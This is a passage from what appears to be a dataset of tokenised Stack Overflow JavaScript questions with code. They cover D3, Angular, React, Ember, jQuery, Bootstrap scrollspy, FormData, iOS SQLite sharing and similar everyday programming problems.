'' : 5 , } , { `` x '' : 4 , `` y '' : 1 , } ] } { `` series '' : `` A '' , `` values '' : [ { x : 0 , y : 1 , y0 : 0 } , { x : 1 , y : 1 , y0 : 0 } , { x : 1 , y : 1 , y0 : 1 } , { x : 2 , y : 1 , y0 : 0 } , { x : 2 , y : 1 , y0 : 1 } , { x : 2 , y : 1 , y0 : 2 } , { x : 3 , y : 1 , y0 : 0 } , { x : 4 , y : 1 , y0 : 0 } , { x : 4 , y : 1 , y0 : 1 } , { x : 4 , y : 1 , y0 : 2 } ] } , { `` series '' : `` B '' , `` values '' : [ { x : 0 , y : 1 , y0 : 1 } , { x : 0 , y : 1 , y0 : 2 } , { x : 0 , y : 1 , y0 : 3 } , { x : 1 , y : 1 , y0 : 1 } , { x : 2 , y : 1 , y0 : 1 } , { x : 3 y : 1 , y0 : 1 } , { x : 3 , y : 1 , y0 : 2 } , { x : 3 , y : 1 , y0 : 3 } , { x : 3 , y : 1 , y0 : 4 } , { x : 3 , y : 1 , y0 : 5 } , { x : 4 , y : 1 , y0 : 1 } , ] }",Grouped stack chart with D3.js "JS : I 'm converting an existing AngularJS application to a hybrid application , to begin incrementally upgrading it to Angular 4 . I want to understand how Angular 4 needs to be referenced in the existing AngularJS . In the existing AngularJS application , it 's clear how the AngularJS framework is being loaded - it 's simply an included script file : To familiarise myself with an up to date Angular version , I 've created a separate 'quickstart ' Angular 5 application using the Angular quickstart guide at https : //angular.io/guide/quickstart , and I can run it using : When I look at the project files though , I 'm not seeing where the angular framework is actually being loaded . There is no script being included anywhere in the src/index.html file for that application , it simply declares an directive for a component ( app.component.ts ) that looks like this : Where does the import actually import from ? The Angular documentation says about the index.html file that it is : The main HTML page that is served when someone visits your site . Most of the time you 'll never need to edit it . The CLI automatically adds all js and css files when building your app so you never need to add any or tags here manually.So what is happening here ? How is @ angular/core actually being referenced ? < script src= '' /angular/angular.js '' > < /script > ng serve -- open import { Component } from ' @ angular/core ' ; @ Component ( { selector : 'app-root ' , templateUrl : './app.component.html ' , styleUrls : [ './app.component.css ' ] } ) export class AppComponent { title = 'Test Angular 5 app ' ; }",How is the Angular framework loaded into an application with Angular CLI ? "JS : ( reactjs newbie here ) ... I 'm using Reactjs to create a page where I havea simple search boxuser types in a search textdata is fetched from the server and is displayedNow , the `` searchText '' and `` data '' are my states and I 'm trying to figure out how to update the `` results '' only after the data is received from the server.I have an event where I handle whenever user types something as a search textBut with the above function , the following thing happensInitial data is loadedUser types in somethingThe result is IMMEDIATELY updated to only show the the result that contains the search text ( code below ) , BUT at the same time a request is made to the server to fetch results where the result contains the search textthis.props.products.forEach ( function ( product ) { if ( product.name.toLowerCase ( ) .indexOf ( this.props.searchText ) > -1 ) { row = rows.push ( row ) } } .bind ( this ) ) ; After about a second , new data is received from the server and the result is refreshed again.Obviously what I want to do is Load initial dataUser types search textRequest data from the serverReceive data from the serverUpdate the resultsWhat is the proper way of achieving this ? handleUserInput : function ( searchText ) { this.loadDataFromServer ( searchText ) ; this.setState ( { searchText : searchText , } ) ; } ,",Reactjs - getting data from server and updating "JS : I 've inherited some Javascript code and I 'm not really a Javascript expert.We have an object that acts like a collection of hashes and values called buckets . It has properties that are the hash value and each property is an object . Here 's what it looks like in the browser 's debugger : We have a containsKey ( ) function that uses hasOwnProperty ( ) to check for the existence of a hash in the buckets object . This code has worked flawlessly for at least 3 years . In the past week or two it stopped working in Chrome . Still works fine in IE ( not sure about FF ) . It seems to me that it ought to continue to work . I 've validated that buckets contains the hash property being searched . But the hasOwnProperty ( ) is now returning false.Is there a more appropriate function I should use here ? Here 's where it 's failing in the debugger : containsKey : function ( key ) { var hash = this.comparer.getObjectHashCode ( key ) ; if ( ! this.buckets.hasOwnProperty ( hash ) ) return false ; var array = this.buckets [ hash ] ; for ( var i = 0 ; i < array.length ; i++ ) { if ( this.comparer.areEqual ( array [ i ] .key , key ) ) return true ; } return false ; }",hasOwnProperty ( ) not working in Chrome for array "JS : 1 ) In the following code , what is the reasoning behind making gameOfLive a variable and not just function gameOfLife ( ) ? 2 ) What is gol ? It seems like an array , but I am unfamiliar with the syntax or what its called.I am studying http : //sixfoottallrabbit.co.uk/gameoflife/ if ( ! window.gameOfLife ) var gameOfLife = function ( ) { var gol = { body : null , canvas : null , context : null , grids : [ ] , mouseDown : false , interval : null , control : null , moving : -1 , clickToGive : -1 , table : `` ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ '' .split ( `` ) , tableBack : null , init : function ( width , height ) { gol.body = document.getElementsByTagName ( 'body ' ) [ 0 ] ; gol.canvas = document.createElement ( 'canvas ' ) ; if ( gol.canvas.getContext ) { gol.context = gol.canvas.getContext ( '2d ' ) ; document.getElementById ( 'content ' ) .appendChild ( gol.canvas ) ; gol.canvas.width = width ; gol.canvas.height = height ; gol.canvas.style.marginLeft = `` 8px '' ; gol.control = document.getElementById ( 'gridcontrol ' ) ; gol.canvas.onmousedown = gol.onMouseDown ; gol.canvas.onmousemove = gol.onMouseMove ; gol.canvas.onmouseup = gol.onMouseUp ; gol.addGrid ( 48,32,100,44,8 ) ; gol.refreshAll ( ) ; gol.refreshGridSelect ( -1 ) ; gol.getOptions ( -1 ) ; gol.genTableBack ( ) ; } else { alert ( `` Canvas not supported by your browser . Why do n't you try Firefox or Chrome ? For now , you can have a hug . *hug* '' ) ; } } , } }","What do you call this JavaScript syntax , so I can research it ?" "JS : We 've got a problem that only seems to show up on an iOS device , but seems to work fine on the simulator . Here 's the problem ... Our iOS app is Hybrid ( Cordova ) with some views that are entirely native and others that are entirely web . we 'd like use the same sqlite db from both codebases . In the web we are using the WebSQL api ( not a cordova plugin ) , from the Native iOS side we 're using FMDB.The database is initially created from javascript and is placed in the App 's Library Directory 4.x Dir < AppDir > /Library/WebKit/Databases/file__0/0000000000000001.db5.x Dir < AppDir > /Library/Caches/file__0/0000000000000001.dbWhenever the sqlite database is accessed by FMDB , the JS code can no longer run transactions against the database it created.While there are other similar SO questions out there , I have yet to see one where the DB was to be accessed by both the web and native . Based upon the research I 've done so far , it seems this is a sandboxing issue that only shows up on the device . Here is the code we are using to open the database.Note that after this code runs , subsequent calls to the database from the JS side result in the following error : `` unable to open a transaction to the database '' NSArray *libraryPaths = NSSearchPathForDirectoriesInDomains ( NSLibraryDirectory , NSUserDomainMask , YES ) ; NSString *libraryDir = [ libraryPaths objectAtIndex:0 ] ; NSString *databasePath = [ libraryDir stringByAppendingPathComponent : @ '' WebKit/Databases/file__0/ '' ] ; NSFileManager *fileManager = [ NSFileManager defaultManager ] ; if ( ! [ fileManager fileExistsAtPath : databasePath ] ) { databasePath = [ libraryDir stringByAppendingPathComponent : @ '' Caches/file__0/ '' ] ; } NSString *databaseFile = [ databasePath stringByAppendingPathComponent : @ '' 0000000000000001.db '' ] ; if ( ! static_fmdb ) { static_fmdb = [ FMDatabase databaseWithPath : databaseFile ] ; NSAssert ( static_fmdb , @ '' Unable to open create FMDatabase '' ) ; } if ( ! [ static_fmdb open ] ) { NSLog ( @ '' Error in % @ : Failed to connect to database ! \n '' , NSStringFromSelector ( _cmd ) ) ; }",iOS - access a single sqlite DB from both JavaScript and FMDB "JS : I 'm creating a menu that appears after a click on a link , and I 'm trying to use the jQuery animate ( ) ; function to slide it in rather than just having it appear.The issue I 'm having is that it only seems to activate the sliding bit on the second attempt , although it does seem to do the 500ms pause as though it were.I 've seen a bunch of other questions about this but the answers are either `` you 've got a specific error in your code '' or `` you have to toggle or otherwise fake the animation on page load '' . I 'm hoping my code is error-free and I 'm not really keen to use a toggle hack just to bypass the first animation no-show . Presumably this is supposed to work first time & every subsequent time so my question is : How do I get the animation to work first time without an onload fix/hack ? HTMLCSSJS/jQueryHere is a fiddle : http : //jsfiddle.net/tymothytym/05gu7bpr/4/Thanks ! < section id= '' mover '' > < div class= '' menu_Content '' > < div class= '' menu_close '' > < a href= '' # '' id= '' closeMenu '' > close menu < /a > < /div > < h5 > < a href= '' / '' > [ menu link ] < /a > < /h5 > < h5 > < a href= '' / '' > [ menu link ] < /a > < /h5 > < h5 > < a href= '' / '' > [ menu link ] < /a > < /h5 > < h5 > < a href= '' / '' > [ menu link ] < /a > < /h5 > < h5 > < a href= '' / '' > [ menu link ] < /a > < /h5 > < h5 > < a href= '' / '' > [ menu link ] < /a > < /h5 > < h5 > < a href= '' / '' > [ menu link ] < /a > < /h5 > < /div > < /section > < div class= '' core home '' > < header > < div class= '' menu_link '' > < a href= '' # '' id= '' openMenu '' > [ menu ] < /a > < /div > < /header > < div class= '' content '' > < h1 class= '' big-head '' > [ headline one ] < /h1 > < p > [ some content ] < /p > < /div > < /div > # mover { background : rgba ( 47 , 47 , 47 , 1 ) ; min-height : 100 % ; position : absolute ; z-index : 2 ; right : 100 % ; overflow : hidden ; display : none ; width : 100 % ; right : 0 % ; } # mover a { width : 100px ; height : 60px ; color : # fff ; text-decoration : none ; display : block ; padding-top : 10px ; } # mover .menu_close { width : 100px ; height : 60px ; background : # FF7466 ; color : # fff ; text-align : center ; } //menu openjQuery ( ' # openMenu ' ) .click ( function ( event ) { event.preventDefault ( ) ; jQuery ( ' # mover ' ) .animate ( { right : ' 0 % ' } , 500 , function ( ) { jQuery ( ' # mover ' ) .show ( ) ; } ) ; } ) ; //menu closejQuery ( ' # closeMenu ' ) .click ( function ( event ) { event.preventDefault ( ) ; jQuery ( ' # mover ' ) .animate ( { right : '100 % ' } , 500 ) ; } ) ;",jQuery animate ( ) only working on second click "JS : I have migrated from angular 1.0.8 to angular 1.2.2 yesterday , and beside a bunch of other things that got broken and I 've already fixed , the $ render function on the following directive is not firing anymore.Did anyone encouter such a behavior before ? 0markup : directive ( 'validFile ' , function ( utils , $ filter ) { return { require : 'ngModel ' , link : function ( scope , el , attrs , ngModel ) { if ( utils.isMobileAgent ( ) ) return ; var form = el.parents ( ) .find ( 'form ' ) ; ngModel. $ render = function ( ) { debugger ; if ( form.hasClass ( 'ng-pristine ' ) ) return ; if ( el.val ( ) & & el.val ( ) .length > 0 ) { ngModel. $ setViewValue ( el.val ( ) ) ; } if ( el.hasClass ( 'ng-invalid ' ) ) { el.parent ( ) .addClass ( 'ng-invalid ' ) .addClass ( 'ng-invalid-required ' ) ; ngModel. $ setValidity ( attrs.name , false ) ; ngModel. $ setPristine ( attrs.name , false ) ; scope.fileMsg = $ filter ( 'translate ' ) ( 'PLEASESELECT ' ) + ' ' + $ filter ( 'translate ' ) ( attrs.name ) ; // scope.layout.showFileError = true ; } else { el.parent ( ) .removeClass ( 'ng-invalid ' ) .removeClass ( 'ng-invalid-required ' ) .addClass ( 'ng-valid ' ) ; ngModel. $ setValidity ( attrs.name , true ) ; } } ; el.bind ( 'mouseover ' , function ( ) { if ( form.hasClass ( 'ng-dirty ' ) & & el.parent ( ) .hasClass ( 'ng-invalid ' ) ) el.removeClass ( 'ng-pristine ' ) ; } ) ; el.bind ( 'mouseleave ' , function ( ) { if ( el.val ( ) & & el.val ( ) .length > 0 ) { el.addClass ( 'ng-pristine ' ) ; } } ) el.bind ( 'change ' , function ( ) { scope. $ apply ( function ( ) { ngModel. $ render ( ) ; } ) ; } ) ; form.bind ( 'change ' , function ( ) { scope. $ apply ( function ( ) { ngModel. $ render ( ) ; } ) ; } ) ; } } ; } ) ; < input type= '' file '' data-ng-model='model.formData.resume ' name= '' resume '' data-valid-file data-my-validate data-value-required= '' true '' >",$ render stopped working at angular 1.2.2 ( file validation directive ) "JS : This JavaScript code returns 115.3 : This Java code returns 106.1 : They look the same to me , but they return different values . What 's wrong ? function FV ( rate , nper , pmt , pv , type ) { var pow = Math.pow ( 1 + rate , nper ) ; var fv ; if ( rate ) { fv = ( pmt* ( 1+rate*type ) * ( 1-pow ) /rate ) -pv*pow ; } else { fv = -1 * ( pv + pmt * nper ) ; } return fv.toFixed ( 2 ) ; } document.write ( FV ( 0.06/12,12 , - ( 2750+1375 ) /12 , -0,0 ) - ( 0+2750+1375 ) ) public double FV ( double rate , double nper , double pmt , double pv , int type ) { double pow = Math.pow ( 1 + rate , nper ) ; double fv ; if ( rate > 0 ) { fv = ( pmt* ( 1+rate*type ) * ( 1-pow ) /rate ) -pv*pow ; } else { fv = -1 * ( pv + pmt * nper ) ; } return fv ; } System.out.println ( FV ( 0.06/12,12 , - ( 2750+1375 ) /12 , -0,0 ) - ( 0+2750+1375 ) ) ;",Why does this math function return different values in Java and JavaScript ? "JS : I have a simple ES6 class , like so : I want to make it so that the indexing for Ring objects wraps , so that new Ring ( 1 , 2 , 3 ) [ 3 ] returns 1 , new Ring ( 1 , 2 , 3 ) [ -1 ] returns 3 , and so on . Is this possible in ES6 ? If so , how would I implement it ? I 've read about proxies , which allow a completely customized getter , but I ca n't figure out how to apply a proxy to a class . I did manage this : myRing is now a Ring object that supports wrapping indices . The problem is that I 'd have to define Ring objects like that every time . Is there a way to apply this proxy to the class such that calling new Ring ( ) returns it ? class Ring extends Array { insert ( item , index ) { this.splice ( index , 0 , item ) ; return this ; } } var myRing = new Proxy ( Ring.prototype , { get : function ( target , name ) { var len = target.length ; if ( /^- ? \d+ $ /.test ( name ) ) return target [ ( name % len + len ) % len ] ; return target [ name ] ; } } ) ;",Custom Array-like getter in JavaScript "JS : I would like to access my route 's controller from within the beforeSend hook on a route to take advantage of the pause on promise logic.This is my current workaround to be able to set `` category_config '' on my controller which is obtained from a promise in beforeModel.In case you are curious my _promise helper is below : How can I do this without having the beforeModel set the 'category_config ' on the route , and then set it on the controller in setupController ? Imaging.ReferenceRoute = Ember.Route.extend ( Imaging.Ajax , { setupController : function ( controller , model ) { controller.set ( 'error_messages ' , [ ] ) ; controller.set ( 'category_config ' , this.get ( 'category_config ' ) ) ; return this._super ( controller , model ) ; } , beforeModel : function ( transition ) { var categories ; categories = this._promise ( `` /url/foo/ '' , `` GET '' ) ; return Ember.RSVP.all ( [ categories ] ) .then ( ( ( function ( _this ) { return function ( response ) { return _this.set ( 'category_config ' , response [ 0 ] ) ; } ; } ) ( this ) ) ) ; } , model : function ( ) { return Imaging.Document.find ( ) ; } } ) ; _promise : function ( url , type , hash ) { return new Ember.RSVP.Promise ( function ( resolve , reject ) { hash = hash || { } ; hash.url = url ; hash.type = type ; hash.dataType = `` json '' ; hash.success = function ( json ) { return Ember.run ( null , resolve , json ) ; } ; hash.error = function ( json ) { if ( json & & json.then ) { json.then = null ; } return Ember.run ( null , reject , json ) ; } ; return $ .ajax ( hash ) ; } ) ; }",Accessing the controller from a route 's beforeModel "JS : I found a trickshotSound great but it does n't work.Found this : http : //tutorialzine.com/2010/02/feed-widget-jquery-css-yql/ same problem.https : //github.com/hail2u/jquery.query-yql download , unzip , run on a server and nothing.YQL console with the first query is slow but works.How can I use YQL with js ? Does OAuth necessary ? update : // Define variablesvar query = 'select * from data.html.cssselect where url= '' http : //www.chucknorrisfacts.com/chuck-norris-top-50-facts '' and css= '' .field-content a '' ' ; var yqlAPI = 'http : //query.yahooapis.com/v1/public/yql ? q= ' + encodeURIComponent ( query ) + ' & format=json & env=store % 3A % 2F % 2Fdatatables.org % 2Falltableswithkeys & callback= ? ' ; $ .getJSON ( yqlAPI , function ( r ) { console.log ( 'Chuck Norris Facts : ' ) ; $ .each ( r.query.results.results.a , function ( ) { console.log ( ' -- -- -- -- -- ' ) ; console.log ( this.content ) ; } ) ; } ) ;",YQL and javascript ( failed ) JS : I have this simple script : but somehow I never get an alert on my ipad when I turn it ... Have I made a mistake somewhere ? Thanks for your help guys : ) . function orientation ( ) { var orientation = window.orientation ; switch ( orientation ) { case 0 : alert ( ' 0 ' ) ; break ; case 90 : alert ( '90 ' ) ; break ; case -90 : alert ( '-90 ' ) ; break ; } } $ ( document ) .ready ( function ( ) { window.onorientationchange = orientation ( ) ; } ),detecting iphone/ipad orientation not working "JS : I added an image to the Trix editor , generating the following code : When I display the generated HTML from the editor on my Bootstrap-based page , the image obviously extends the screen ( see the width and height ) and I 'd like to remove these props and also assign the img-fluid class to it.So basically I thought to use the config : But that does a ) not change the attachment class to img-fluid and it also would not apply the changes to the image but the figure.I would like to avoid using jQuery each time I display the content and traverse all figures and then manipulate the image 's properties at runtime.Is n't there a solution to define these styles when adding the attachment ? < figure data-trix-attachment= '' { lots of data } '' data-trix-content-type= '' image/jpeg '' data-trix-attributes= '' { 'presentation ' : 'gallery ' } '' class= '' attachment attachment -- preview attachment -- jpg '' > < img src= '' http : //myhost/myimage.jpg '' width= '' 5731 '' height= '' 3821 '' > < figcaption class= '' attachment__caption '' > < span class= '' attachment__name '' > cool.jpg < /span > < span class= '' attachment__size '' > 4.1 MB < /span > < /figcaption > < /figure > Trix.config.css.attachment = 'img-fluid '",Trix editor define custom attachment styles "JS : Let 's say I have a JSON array like thisI want to get an array of all the names that have the website value equal to google . Firstly , to filter the JSON array to contain only entries where the website is google , I have this : which gives the following result : What do I need to do next to get the name in a separate array . I tried doing this : which gives me an undefined error for name . I also tried : But none of the approaches work . What am I missing here ? FYI - JSON data and Filter approach is mentioned in this SO post - credits to the OP and answers . [ { `` name '' : '' Lenovo Thinkpad 41A4298 '' , '' website '' : '' google '' } , { `` name '' : '' Lenovo Thinkpad 41A2222 '' , '' website '' : '' google '' } , { `` name '' : '' Lenovo Thinkpad 41Awww33 '' , '' website '' : '' yahoo '' } , { `` name '' : '' Lenovo Thinkpad 41A424448 '' , '' website '' : '' google '' } , { `` name '' : '' Lenovo Thinkpad 41A429rr8 '' , '' website '' : '' ebay '' } , { `` name '' : '' Lenovo Thinkpad 41A429ff8 '' , '' website '' : '' ebay '' } , { `` name '' : '' Lenovo Thinkpad 41A429ss8 '' , '' website '' : '' rediff '' } , { `` name '' : '' Lenovo Thinkpad 41A429sg8 '' , '' website '' : '' yahoo '' } ] var data_filter = data.filter ( element = > element.website == '' google '' ) ; console.log ( data_filter ) ; [ { `` name '' : '' Lenovo Thinkpad 41A4298 '' , '' website '' : '' google '' } , { `` name '' : '' Lenovo Thinkpad 41A2222 '' , '' website '' : '' google '' } , { `` name '' : '' Lenovo Thinkpad 41A424448 '' , '' website '' : '' google '' } ] let new_array = [ ] ; new_array.push ( data_filter.body.name ) new_array.push ( data_filter.name ) new_array.push ( data_filter.body [ 0 ] .name )",Creating an array out of a specific JSON Key-Value Pair "JS : UPDATE : To clear up some confusion I added a fiddle that demonstrates how it is supposed to work , but it is just missing the scrollspy : https : //jsfiddle.net/kmdLg7t0/ How can I add the scrollspyto this fiddle so that the menu highlights when I 'm on a specific section ? I created a fixed left menu that turns into an off-canvas menu at < 992px in browser width for tablet and mobile . When I select the anchor link on a browser width > 992px it closes the menu and navigates to the anchor link section.Custom JQuery Code : This is my custom jQuery code that closes the Off-Canvas Menu when I click on an anchor link : PROBLEM : I decided to add a bootstrap offscrollspy and it works as intended after the browser width is greater than 992px , but when I resize the browser width to less than 992px this interferes with the Custom Jquery Code to close the menu and navigate to the anchor link . Here 's the Fiddle : Bootstrap ScrollSpy causes issue with Off Canvas Menu and JQuery Code My GUESS : I 'm guessing the solution to this problem is to use jquery or javascript to prevent or remove the data-target= '' .navmenu '' from activating when my screen is less than the < 992px . Or we can find a way to only activate the scrollspy after > 992px . I 'm currently trying to figure this out , but I need someone who is a true expert in jquery to solve this dilemma.Pre-Requisite : Bootstrap.min.cssBootstrap.min.jsjasny-bootstrap.cssjasny-bootstrap.jsJS : html : CSS : // close off-canvas menu and navigate to anchor $ ( '.navmenu-nav li a ' ) .on ( 'click ' , function ( ) { $ ( 'body ' ) .removeClass ( 'bs.offcanvas ' ) ; } ) ; $ ( document ) .ready ( function ( ) { toggleOffcanvas ( $ ( window ) .width ( ) < = 992 ) ; } ) ; // simulate modal opening $ ( '.nav-link ' ) .click ( function ( ) { if ( $ ( window ) .width ( ) > 992 ) { $ ( '.backdrop ' ) .hide ( 0 , false ) ; } $ ( ' # navToggle ' ) .click ( ) ; } ) ; $ ( '.navmenu ' ) .on ( 'show.bs.offcanvas ' , function ( ) { if ( $ ( window ) .width ( ) < = 992 ) { $ ( '.backdrop ' ) .fadeIn ( ) ; } } ) ; $ ( '.navmenu ' ) .on ( 'hide.bs.offcanvas ' , function ( ) { if ( $ ( window ) .width ( ) < = 992 ) { $ ( '.backdrop ' ) .fadeOut ( ) ; } } ) ; // close modal on resize $ ( window ) .resize ( function ( ) { if ( $ ( window ) .width ( ) > 992 ) { $ ( '.backdrop ' ) .hide ( 0 , false ) ; $ ( 'body ' ) .removeClass ( 'bs.offcanvas ' ) ; } toggleOffcanvas ( $ ( window ) .width ( ) < = 992 ) ; } ) ; // switch active navigation link onclick $ ( '.nav a ' ) .on ( 'click ' , function ( ) { $ ( '.nav ' ) .find ( '.active ' ) .removeClass ( 'active ' ) ; $ ( this ) .parent ( ) .addClass ( 'active ' ) ; } ) ; // close modal when navigating to anchor $ ( '.navmenu-nav li a ' ) .on ( 'click ' , function ( ) { $ ( 'body ' ) .removeClass ( 'bs.offcanvas ' ) ; } ) ; function toggleOffcanvas ( condition ) { if ( ! ! condition ) { $ ( '.nav-link ' ) .attr ( 'data-toggle ' , 'offcanvas ' ) ; } else { $ ( '.nav-link ' ) .removeAttr ( 'data-toggle ' ) ; } } < body data-spy= '' scroll '' data-target= '' # myScrollspy '' data-offset= '' 50 '' > < div class= '' backdrop '' > < /div > < div id= '' myScrollspy '' class= '' navmenu navmenu-default navmenu-fixed-left offcanvas-sm colornav `` > < a href= '' # '' class= '' close '' data-toggle= '' offcanvas '' data-target= '' .navmenu '' > & times ; < /a > < a id= '' navToggle '' class= '' '' > < span > < /span > < /a > < h4 class= '' navmenu-brand visible-md visible-lg visible-sm visible-xs '' href= '' # '' > 2017 < /h4 > < ul class= '' nav navmenu-nav '' > < li class= '' active '' > < a class= '' nav-link '' data-toggle= '' offcanvas '' data-target= '' .navmenu '' href= '' # january '' > Enero < /a > < /li > < li > < a class= '' nav-link '' data-toggle= '' offcanvas '' data-target= '' .navmenu '' href= '' # february '' > Msrs < /a > < /li > < li > < a class= '' nav-link '' href= '' http : //www.jasny.net/bootstrap/examples/navmenu-reveal/ '' > Jupiter < /a > < /li > < li > < a class= '' nav-link '' href= '' http : //www.jasny.net/bootstrap/examples/navbar-offcanvas/ '' > Off canvas navbar < /a > < /li > < /ul > < /div > < div class= '' navbar navbar-default navbar-fixed-top navbar-preheader '' > < button type= '' button '' class= '' navbar-toggle '' data-toggle= '' offcanvas '' data-target= '' .navmenu '' > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < /button > < a class= '' navbar-brand '' href= '' # '' > navbar brand < /a > < /div > < div class= '' container '' > < div class= '' page-header '' > < h1 > Navmenu Template < /h1 > < /div > < p class= '' lead '' > This example shows the navmenu element . If the viewport is < b > less than 992px < /b > the menu will be placed the off canvas and will be shown with a slide in effect. < /p > < p > Also take a look at the examples for a navmenu with < a href= '' http : //www.jasny.net/bootstrap/examples/navmenu-push '' > push effect < /a > and < a href= '' http : //www.jasny.net/bootstrap/examples/navmenu-reveal '' > reveal effect < /a > . < /p > < p class= '' space '' > < /p > < p id= '' january '' > January < /p > < p id= '' february '' > February < /p > < /div > < ! -- /.container -- > < /body > html , body { height : 100 % ; } body { padding : 50px 0 0 0 ; } .space { padding-bottom:900px ; } .backdrop { background : rgba ( 0 , 0 , 0 , 0.5 ) ; position : fixed ; top : 0 ; bottom : 0 ; width : 100vw ; height : 100vh ; z-index : 1040 ; display : none ; } .navbar-fixed-top { background : # fff ! important ; } .navbar { display : block ; text-align : center ; } .navbar-brand { display : inline-block ; float : none ; } .navbar-toggle { position : absolute ; float : left ; margin-left : 15px ; } .container { max-width : 100 % ; } @ media ( min-width : 1px ) { .navbar-toggle { display : block ! important ; background : none ! important ; border : none ! important ; color : # f90 ! important ; } } @ media ( min-width : 992px ) { body { padding : 30px 0 0 300px ; } .navmenu { padding-top : 0 ; } .navbar-toggle { display : none ! important ; } .close { display : none } .navmenu-fixed-left { z-index:0 ; top : 48px ; bottom : 0 ; background : # fff ! important ; } } .navbar-default .navbar-toggle .icon-bar { background-color : # 333 ; } .close { margin-right:10px ; margin-top:10px ; } @ media ( max-width:991px ) { .navmenu-fixed-left { z-index:1050 ; top : 0 ; bottom : 0 ; background : # fff ! important ; } } .backdrop { display : none } # january , # february { text-transform : uppercase ; background-color : red ; text-align : center ; line-height : 90vh ; font-size : 5em ; height : 90vh ; color : white ; } # february { background-color : green ; }",Bootstrap Scrollspy causes issues with Off-Canavas Menu "JS : Following this question , communicating between an injected script and content script can be made that way : I wanted to know if there is a way to make use of returned data into the injected script , using a promise or a callback mechanism ? // Content scriptwindow.addEventListener ( `` getChromeData '' , function ( data ) { // do Chrome things ; } , false ) ; // Injected scriptwindow.dispatchEvent ( new CustomEvent ( `` getChromeData '' , { data : 'whatever ' } ) ) ;",Communication from an injected script to the content script with a response "JS : I 'm trying to get the filled data using the div id but it is throwing $ container.data ( ... ) is undefined.I have tried the following code to get the filled data : But it is throwing error , instead I tried with another option : This is working . But I have multiple tables so I need to get the data by the particular table using the div id , what is the problem in my code ? < ! -- ... -- > < div id= '' app '' style= '' width : 500px ; height : 200px ; '' > < /div > < /div > < button id= '' app_id '' onclick= '' json ( ) '' > Json < /button > var rowHead = colAr ; var colHead = dataObj [ idname ] .col ; var data = [ [ ] ] , container = document.getElementById ( `` app '' ) , selectFirst = document.getElementById ( 'selectFirst ' ) , rowHeaders = document.getElementById ( 'rowHeaders ' ) , colHeaders = document.getElementById ( 'colHeaders ' ) , hot ; hot = new Handsontable ( container , { minRows : rowHead.length , minCols : colHead.length , startRows : 5 , startCols : 5 , rowHeaders : rowHead , colHeaders : colHead , contextMenu : false , outsideClickDeselects : false , removeRowPlugin : true } ) ; hot.loadData ( data ) ; function json ( ) { var $ container = $ ( `` # app '' ) ; var handsontable = $ container.data ( 'handsontable ' ) .getData ( ) ; console.log ( handsontable ) ; /* var htContents = hot.getData ( ) ; var jsonObj = { } ; for ( var i = 0 ; i < htContents.length ; i++ ) { jsonObj [ rowHead [ i ] ] = htContents [ i ] ; } console.log ( jsonObj ) ; */ } var cont = hot.getData ( ) ; console.log ( cont ) ;",handsontable .getData by div id is not working ? "JS : I 'm having a problem with FormData , it was working a couple days ago but now it does n't work , it submits all the inputs except the submit button . Here 's my login form.JS for login , uses MVC.The login method in my controller , the button is not detected.I get this when I print_r $ _POST , with no button . < form action= '' '' method= '' post '' name= '' login_user '' > < label for= '' username '' > Username/e-mail < span class= '' error '' id= '' user-error '' > < /span > < /label > < input type= '' text '' name= '' username '' id= '' username '' required > < br > < label for= '' passwd '' > Password < span class= '' error '' id= '' passwd-error '' > < /span > < /label > < input type= '' password '' name= '' passwd '' id= '' passwd '' required > < br > < p > < input type= '' checkbox '' checked name= '' remember '' > Remember me < span class= '' forgot '' > < a href= '' < ? php echo SITE_URL ; ? > /reset '' > Forgotten password < /a > < /span > < /p > < input type= '' submit '' id= '' login '' value= '' Login '' name= '' login '' > < p > Do n't have an account ? < a href= '' < ? php echo SITE_URL ; ? > /register/ '' > Sign up < /a > < /p > < /form > //ajax loginvar login = document.forms.namedItem ( 'login_user ' ) ; if ( login ) { login.addEventListener ( 'submit ' , function ( e ) { if ( validatePassword ( 'passwd ' , 'passwd-error ' ) ) { var data = new FormData ( login ) ; var userlogin = new XMLHttpRequest ( ) ; var btn = document.getElementById ( 'login ' ) ; btn.value = 'Login , Please wait ... ' ; userlogin.open ( 'POST ' , url + 'login/login_user_ajax ' , true ) ; userlogin.onload = function ( event ) { if ( userlogin.status == 200 ) { var result = JSON.parse ( userlogin.responseText ) ; if ( result.results == 'success . ' ) { alert ( 'logged in ' ) ; //change this later } else { document.getElementById ( 'cred-error ' ) .innerHTML = result.results ; } btn.value = 'Login ' ; } } ; userlogin.send ( data ) ; } e.preventDefault ( ) ; } , false ) ; public function login_user_ajax ( ) { $ this- > login_user ( 1 ) ; } private function login_user ( $ ajax = `` ) { if ( filter_has_var ( INPUT_POST , 'login ' ) ) { $ new_user = $ this- > model ( 'User ' ) ; $ new_user- > setDb ( Controller : :getDb ( ) ) ; $ new_user- > set_site ( SITE_URL ) ; $ user = trim ( filter_input ( INPUT_POST , 'username ' , FILTER_SANITIZE_STRING ) ) ; $ passwd = trim ( filter_input ( INPUT_POST , 'passwd ' , FILTER_SANITIZE_STRING ) ) ; if ( $ new_user- > login ( $ user , $ passwd ) ) { if ( $ ajax ) { $ site_data [ 'results ' ] = 'success . ' ; echo json_encode ( $ site_data ) ; return true ; } else { $ this- > redirect ( SITE_URL . '/edit ' ) ; } } else { if ( ! $ ajax ) { return 'The username or password is incorrect . ' ; } else { $ site_data [ 'results ' ] = 'The username or password is incorrect . ' ; echo json_encode ( $ site_data ) ; return false ; } } } else { print_r ( $ _POST ) ; } }",FormData does n't include the button Javascript "JS : Consider this nested array of dates and names : How can I identify those dates that are out of sequence . I do n't care if dates repeat , or skip , I just need the ones out of order . Ie , I should get back : ( 'Namex ' is less obvious , but it 's not in the general order of the list . ) This appears to be a variation on the Longest Increase Subsequence ( LIS ) problem , with the caveat that there may be repeated dates in the sequence but should n't ever step backward.Use case : I have sorted and dated records and need to find the ones where the dates are `` suspicious '' -- perhaps input error -- to flag for checking.NB1 : I am using straight Javascript and NOT a framework . ( I am in node , but am looking for a package-free solution so I can understand what 's going on ... ) var fDates = [ [ '2015-02-03 ' , 'name1 ' ] , [ '2015-02-04 ' , 'nameg ' ] , [ '2015-02-04 ' , 'name5 ' ] , [ '2015-02-05 ' , 'nameh ' ] , [ '1929-03-12 ' , 'name4 ' ] , [ '2023-07-01 ' , 'name7 ' ] , [ '2015-02-07 ' , 'name0 ' ] , [ '2015-02-08 ' , 'nameh ' ] , [ '2015-02-15 ' , 'namex ' ] , [ 